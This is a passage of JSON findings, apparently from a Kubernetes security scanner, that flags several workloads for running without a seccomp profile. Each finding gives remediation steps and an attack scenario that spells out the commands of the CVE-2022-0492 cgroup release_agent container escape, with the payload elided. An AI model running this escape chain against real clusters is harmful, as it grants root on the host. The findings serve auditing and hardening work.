    "description": "Container `app` in `Deployment/vulnerable/risky-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n vulnerable \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:vulnerable:root-runner:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/vulnerable/root-runner`",
    "description": "Container `app` in `Deployment/vulnerable/root-runner` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/root-runner`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n vulnerable \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/root-runner -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:vulnerable:socket-mounts-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/vulnerable/socket-mounts-app`",
    "description": "Container `app` in `Deployment/vulnerable/socket-mounts-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/socket-mounts-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n vulnerable \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/socket-mounts-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Pod:foothold-exec:foothold-decoy:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Pod/foothold-exec/foothold-decoy`",
    "description": "Container `app` in `Pod/foothold-exec/foothold-decoy` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-decoy",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-decoy`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n foothold-exec \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get pod/foothold-decoy -n foothold-exec -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Pod:foothold-exec:foothold-target:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Pod/foothold-exec/foothold-target`",
    "description": "Container `app` in `Pod/foothold-exec/foothold-target` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-target",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-target`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n foothold-exec \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get pod/foothold-target -n foothold-exec -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Job:gw-workloads:gw-batch:batch",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `batch` runs without a seccomp profile in `Job/gw-workloads/gw-batch`",
    "description": "Container `batch` in `Job/gw-workloads/gw-batch` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned 